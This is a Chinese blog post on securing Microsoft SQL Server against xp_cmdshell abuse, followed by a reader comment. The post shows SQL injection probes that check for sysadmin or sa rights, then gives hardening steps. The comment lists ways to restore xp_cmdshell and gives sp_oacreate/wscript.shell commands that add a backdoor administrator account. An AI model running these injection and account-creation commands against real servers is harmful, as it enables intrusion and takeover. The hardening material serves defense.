详谈SQL的安全设置

    07年时候,我在博客里写过关于SQL的安全,是从运行用户的角度考虑,设置安全权限,以防止被普通用户通过备份指令上传木马。。。详情参看原文(http://www.3018.com/article.asp?id=40

    这几天闲来无事,所以打算详细谈谈SQL的安全。首先从黑客最基本的SQL入侵常用的xp_cmdshell扩展存储说起。以前一直没提这个,也是因为本人也常用这个扩展存储在肉鸡上提权,呵呵。今天就详细的写出来吧。

    在SQL Server中,只要具有sysadmin权限的用户可以,都可以通过xp_cmdshell存储扩展以system的权限执行任意系统命令,包括CMD命令和SQL命令。所以一旦服务器里的SQL管理员sa密码被破,而服务器里又没设置安全权限,那么你就乖乖沦为肉鸡吧`` 本文是安全系列文章,所以SA弱口令的破解及扫描就略过了~~

      黑客在选择目标时候,首先选择一个网站作为突破口,检测该站点SQL运行用户是否具有sysadmin权限,提交注入点检测方式:
www.XXX.com/show.asp?id=3018 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
      如果返回正常,那就证明该站是以管理员用户运行SQL数据库,一般多是sa账户。
    那么是否就是sa用户呢,我们再来提交测试下:
www.XXX.com/show.asp?id=3018 and 'sa'=(Select System_user)  如果IE返回正常,就是SA用户。
(注:以上示例中的www.XXX.com/show.asp?id=3018 为网站注入点)

    如果你服务器提前删除了xp_cmdshell,黑客一般会再配合SQL另外2个存储,尽力得到webshell,再上传 xplog70.dll文件,帮你服务器恢复xp_cmdshell存储扩展。呵呵,下面是2个常用的存储,使用方法略过:

1.   Xp_regread    用来读取注册表信息,通过这个存储过程来得到保存在注册表中Web绝对路径
2.   sp_makewebtask  用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件


    根据以上分析得出,我们在做好SQL安全运行用户及目录权限同时,还要删除一些必要的存储扩展。
另外结合其他一些手段,我们打造安全的服务器,本人总结的几点SQL安全设置的经验:


1:将以下有安全问题的SQL扩展存储过程删除.  将以下代码全部复制到"SQL查询分析器":

use master
EXEC sp_dropextendedproc xp_cmdshell
EXEC sp_dropextendedproc Sp_OACreate
EXEC sp_dropextendedproc Sp_OADestroy
EXEC sp_dropextendedproc Sp_OAGetErrorInfo
EXEC sp_dropextendedproc Sp_OAGetProperty
EXEC sp_dropextendedproc Sp_OAMethod
EXEC sp_dropextendedproc Sp_OASetProperty
EXEC sp_dropextendedproc Sp_OAStop
EXEC sp_dropextendedproc Xp_regaddmultistring
EXEC sp_dropextendedproc Xp_regdeletekey
EXEC sp_dropextendedproc Xp_regdeletevalue
EXEC sp_dropextendedproc Xp_regenumvalues
EXEC sp_dropextendedproc Xp_regread
EXEC sp_dropextendedproc Xp_regremovemultistring
EXEC sp_dropextendedproc Xp_regwrite
drop procedure sp_makewebtask

恢复的命令是:
EXEC sp_addextendedproc 存储过程的名称,@dllname =存储过程的dll

例如:恢复存储过程xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell,@dllname =xplog70.dll
另外,恢复时如果xplog70.dll已删除需要再copy一个。

2:新开的数据库,我们只给PUBLIC和DB_OWNER权限。网站里的SQL用户,一定不要用SA。

3:系统cmd.exe文件只保留administrators和sysytem权限。(这是为了防止入侵后直接可以提权)

4:可以设置IP策略,选择关闭1433端口的任意IP外连,只开启某某IP用户可以连接SQL服务器。因为服务器里网站是利用localhost本机连接,所以关闭外连端口,对网站的访问没有影响。(本人认为这招最绝,最安全,直接无法连接SQL服务器,更不用说提权了)

5:最后还是提及下,2年前写过的,关于SQL运行用户及目录安全:

  ㈠.计算机管理 -- 建立一个普通用户及密码(用户不允许更改密码,密码永不过期)
  ㈡.服务- Mssqlserver,更改运行用户,输入我们创建的用户和密码。默认为系统system用户。
    SQL 2000企业管理器, 属性-安全中设置的用户,输入创建的用户及密码。默认为系统system用户。

  ㈢.然后设置安装有SQL2000 的盘权限, 如:D盘

      D盘需要以下权限:

administrators 全部权限
System 全部权限
IIS_WPG只读与运行的权限(只应用在当前文件夹)

SQL2000的运行用户(只应用在当前文件夹)
   列出文件夹/读数据
  读属性
  读扩展属性
  读取权限


D:\Program Files\Microsoft SQL Server  (SQL数据库安装目录)
administrators 全部权限
System 全部权限
SQL2000的运行用户全部权限(该文件夹、子文件夹及文件夹)

  
     通过以上5点设置,一般就能彻底杜绝目前所有已知的SQL安全隐患。如果大家还有其他好想法,可以交流一下。












文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
相关日志:
评论: 1 | 引用: 0 | 查看次数: 1751
晨曦旋风
回复回复晨曦旋风[2009-04-07 10:07 PM | | | del]
恢复xp_cmdshell的N个方法


方法1:查询分离器连接后

第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell'
然后按F5键命令执行完毕


三.常见情况恢复执行xp_cmdshell.

1 未能找到存储过程'master..xpcmdshell'
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕


四.终极方法.

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'

xp或2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

------------------------------------------------------------------------------------------------------------------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell  
发表评论
昵 称:
密 码: 游客发言不需要密码.
邮 箱: 支持Gravatar头像.
网 址: 输入网址便于回访.
内 容:
验证码:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 5000 字 | UBB代码 关闭 | [img]标签 关闭